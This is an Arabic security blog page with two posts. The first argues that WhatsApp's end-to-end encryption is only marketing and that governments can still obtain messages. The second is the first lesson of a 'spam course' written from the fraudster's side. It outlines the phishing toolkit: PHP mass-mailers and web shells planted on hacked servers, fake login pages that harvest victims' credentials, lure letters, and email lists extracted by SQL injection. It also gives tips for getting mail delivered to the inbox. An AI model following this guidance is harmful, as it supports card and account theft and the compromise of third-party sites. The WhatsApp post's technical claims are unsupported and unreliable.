إذن قلنا أن شركة واتساب مؤخرا قامت بالدعاية بتشفيرها للوتساب "end-to-end encryption" و هذه الجملة الآخيرة هي التي قامت عليها الدعاية و هناك الكثير من الأشخاص الذين المهتمين بمجال الإعلاميات لا يعلمون أن الواتساب كان مشفرا من قبل لكن الأن تطرقت شركة واتساب إلى "end-to-end encryption"  و هذا التشفير كما سبق الذكر تشفير من نوع خاص إذن ما الفرق بين التشفير السابق و تشفير "end-to-end encryption" ؟

 -التشفير الذي كان بالواتساب في الأول كان يتم داخل السيرفور يعني أن الرسائل عندما تخرج من جهازك فهي تخرج غير مشفرة حتى تصل للسيرفور الخاص بالشركة  وهنا كان يمكن لأي متطفل أو هاكر غير أخلاقي يريد أخد معلوماتك قبل أن تصل إلى السيرفور فيمكنه ذلك بسهولة تامة و هنا يكنه الحصول على جميع صورك و راسائلك وهي غير مشفرة وهكذا كانت المعلومات الخاصة بك بين أيدي الحكومات أيضا.
-أما بخصوص التشفير الحالي "end-to-end encryption"  فهو يعني أن الرسائل عندما تخرج من جهازك فهي تخرج مشفرة أي أن التشفير أصبح يتم داخل جهازك وهنا إذا أتى أي متطفل و أراد أخد معلوماتك قبل أن تصل إلى السيرفور فلن يتمكن من قراءة رسائلك و مشاهدة صورك الخاصة وهنا أصبحت الحكومات عاجزة عن التجسس عليك.
إذن فهمنا الآن لماذا قامت الشركة بهذه الدعاية لكن المشكل أن الكثير من المدونين العرب نقلوا هذه الأخبار دون البحث فيها وقالوا " شركة واتساب قامت بعملية التشفير و الآن أصبحت معلوماتك مشفرة و لا يمكن للحكومات التجسس عليك "
السؤال الذي يطرح نفسه هل حقا لا يمكن للحكومات التجسس عليك بعد  "end-to-end encryption" ؟؟

 لكي نجيب على هذا السؤال يجب أن نعلم أولا أنه عندما تقوم أنت بإرسال رسالة إلى شخص معين من الوتساب فإن هذه الرسالة تذهب إلى السيرفور وقلنا أنه بعد عملية "end-to-end encryption" فالرسالة تخرج مشفرة و تذهب إلى السيرفور الخاص بشركة واتساب و ما يجب أن تكون تعلمه عزيزي القارئ أن شركة واتساب  تستخدم سيرفور يستعمل خاصية XMPP   و هذا النوع هو مفتوح المصدر و مجاني كما أن هذه الخاصية تعتمد على نظام Jabber وهنا جاءت شركة واتساب و قالت للمسنخدمين أن تلك الرسائل التي تصل إلى خوادمنا (سيرفوراتنا)  و تبقى مخزّنة بهم فهي أيضا مشفرة و لا يمكن لأي شخص قراءتها .
لكن إذ رأينا الاتفاقية الموجودة على موقع واتساب كما هي مبينة في الصورة أسفله فستشاهدون في الفقرة التي قمت بتأطيرها تقول " رغم الأشياء التي قلنها لكم بخصوص التشفير و أننا لا يمكننا قراءة أي شيء و ..... فإذا تحتم علينا الأمر أن نقوم بقراءة رسائلك الخاصة فسنقوم بقراءتها "

ويقولون لك أيضا " أن المعلومات المتواجدة في سيرفوراتنا فهي تبقى لدينا بدون تشفير لمدة معينة "
وإذا ركزنا قليلا في هذه الجملة وفي مسألة مدة معينة  فإن هذه المدة لا يعلمها إلا الله لا يعرفها أحد قد تكون 10 سنوات أو 100سنة و هنا إذا أرادت الحكومات أخد معلوماتك الخاصة فستذهب لشركة واتساب و أخذها بشكل قانوني و إذ أردت أخي أن ترفع قضية على الشركة و تقول أنهم قالوا لك أن رسائلك مشفرة  و لا يمكن لأي شخص قراءتها و الآن قمت ببيعيها للحكومات فاعلم أنك ستخسر القضية لأن الشركة قامت بذكري كل هذا في اتفاقيتها و أنت الذي لم تقرأ ذلك و سلكت طريق المدونين العرب الذين يأخدون المعلومات دون البحث فيها.
إذن إن مسألة تشفير الواتساب ما هي إلا دعاية قامت بها الشركة لجلب أكبر عدد من الأشخاص رغم أنها الآن لديها ما يعادل تقريبا 800.000.000 مستخدم. كما أن الحكومات يمكنها الحصول على معلوماتك بسهولة تامة.

هل يمكن للحكومات الحصول على معلوماتك حتى بعد تشفير WhatsApp ؟؟

وصلتني مجموعة من الأسئلة بعد أن أصبحنا نسمع كثيرا هذه الأيام بخصوص هذه الرسالة التي أصبحت تظهر على شاشة مستخدمي الواتساب  و قام بعض المدوني...
في اقراء المزيد
ليست هناك تعليقات:
التسميات: , ,

06‏/11‏/2015

هل فعلا سرقة الحسابات البنكية وبطاقات الائتمان  أصبح أمر سهل ؟ 
ان سرقة الحسابات البنكية وبطاقات الائتمان ليس من السهل بل أكثر من ذلك بعد ظهور ما يسمي ب "سبام"






ما هو السبام ,ماهي الادوات المستعملة في السبام ؟

1- ما هو السبام ؟
السبام هو عبارة عن رسائل مزعجة او رسائل احتيالية مزورة يقوم السبامر بإرسالها لبعض الاشخاص . وتظهر هذه الرسالة علي انها ارسلت من الموقع الرسمي او الشركة الرسمية  وذلك لغرض سرقة بياناته البنكية .
مثلا هذه الصورة  اسفله هي ==> رسالة احتيالية لسرقة معلومات حساب بايبال



وكما نلاحظ في هذه الرسالة 
اسم المرسل : PayPal Security
إيميل المرسل : PayPal@support.com
وهنا يعتقد الضحية ان هذه الراسلة ارسلت عن طريق بايبال ولكنها للأسف ارسلت عن طريق سبامر .

2- ماهي أدواته  ؟

Mailer Inbox
Scama
letter
Mail List
shell أو cpanel
-----------------------------------------------------------------------

 Mailer Inbox 
الميلر انبوكس هو سكربت بلغة php
يقوم السبامر برفعه علي موقع ليقوم بإرسال الرسائل المزورة من خلاله الى الاميلات التي تحددها هذا مثال عن ميلر انبوكس


و يعتبر الميلر من أهم الادوات وأكثرها نذرة وصعوبة في الجلب 
طبعاً إلا إذا كنت مخترق مواقع خبير و تستطيع اختراق أي موقع
-----------------------------------------------------------------------
Scama
السكامة هي عبارة عن صفحة مزورة تقوم برفعها على استضافة او سيبانل وهي التي تعطيك معلومات الضحية اما في اميلك او في ملف txt
-----------------------------------------------------------------------
Letter
الليتر هي عبارة عن سكربت مبرمج بلغة html
وهي رسالة مزورة مثلا لموقع باي بال تبلغ الضحية ان حسابه تم وضع حد له مثلا او أن شخص ما حاول تسجيل الدخول إلى حسابه وتضع فيها رابط السكامة ليدخل عليه الضحية
مثال عن ليتر الصورة أعلاه التي وضعت في أول الشرح ==> ( رسالة احتيالية لسرقة معلومات حساب بايبال )

-----------------------------------------------------------------------
Mail List

المايل ليست هي مجموعة اميلات تقوم باستخراجها من مواقع شوب مصابة بثغرة sql مثلا
وتستخرجها اما يدويا واما ببرنامج حقن مثال هافج  لكي ترسل اليها السكامة دفعه واحدة.

-----------------------------------------------------------------------
shell أو cpanel

الشل : هو عبارة عن سيكربت يتم رفعهُ في السيرفر المخترق ولهُ عدة مزآيا تساعد المخترق ،

لكننـا نحن نريدهُ فقط لرفع السكامة و المايلر كذالك 
السيبانل : هي لوحه تحكم تستطيع من خلالها التحكم في كامل الموقع من نقل وحذف ورفع واغلاق ...االخ 
لكننـا نحن نريدهُ فقط لرفع السكامة و المايلر كذالك

 كما نلاحظ أنه في السبام الشل و السيبانل لهما نفس الدور و هو رفع السكامة و المايلر لكن أن أفظل استخدام الشل لأنه عادة ما يكون مرفوع على مواقع عليها سيرفر قوي لأنه إذا كان السيرفر قوي تصل الرسالة في مجلد inbox . اما اذا كان السيرفر ضعيف تصل الرسالة في مجلد junk ويمكن ان لا تصل.

-----------------------------------------------------------------------

 هنا نكون انتهينا من الدرس الأول من دورة السبآم على امل أن أكون قد أوضحت لكم المصطلاحات المتعلقة بالسبام و الطريقة التي يتم بها سرقة الحسابات البنكية ومعلومات بطاقات الائتمان لا تنسوا مشاركة الموضوع لتعم الفائدة و لدعمنا نحن أيضا من أجل الاستمرار ....... انتظرونا في الدرس القادم الذي سيكون عبارة عن درس تطبيقي بالفديو

 ولأي استفسار اتركوا لنا أسئلتكم أسفل الموضوع وسنجيبكم عنها ان شاء الله.

 .

دورة في تعلم السبام : الدرس الاول مفآهيم عن السبآم !

هل فعلا  سرقة الحسابات البنكية وبطاقات الائتمان    أصبح أمر سهل ؟  ان سرقة الحسابات البنكية وبطاقات الائتمان ليس من السهل بل أكثر من ذلك ب...
في اقراء المزيد
هناك 3 تعليقات:
التسميات: , ,
الاشتراك في: الرسائل (Atom)

عن المدونة

موقع عالم الحماية هو عبارة عن مشروع عربي متخصص في مجال الأمن المعلوماتي وأخبار الهاكرز وجميع أخبار الإختراقات المحلية أو الدولية ، وكذا مهتمين باكتشاف التغرات الأمنية والبرمجية ، ناهيك عن ذلك حيث سيقدم العديد من الدروس التعليمية في ميدان الهاكينغ الأخلاقي ، والميكانيزمات المعتمدة دوليا بالنسبة لمستشاري الأمن المعلوماتي ، هدفنا في هذا المشروع هو تعزيز ثقافة الحماية المعلوماتية لدى سكان العالم العربي وإمدادهم بالعديد من الأساليب المتقدمة والجديدة كلياء، حيث سنقوم بتغطية الأحداث المتعلقة بالتكنلوجيا والتقنيات ، وهذا كله لإغناء المحتوى العربي في هذا المجال ! هدفنا تعليمي وليس لدينا أي علاقة بأي جهة غير أخلاقية !.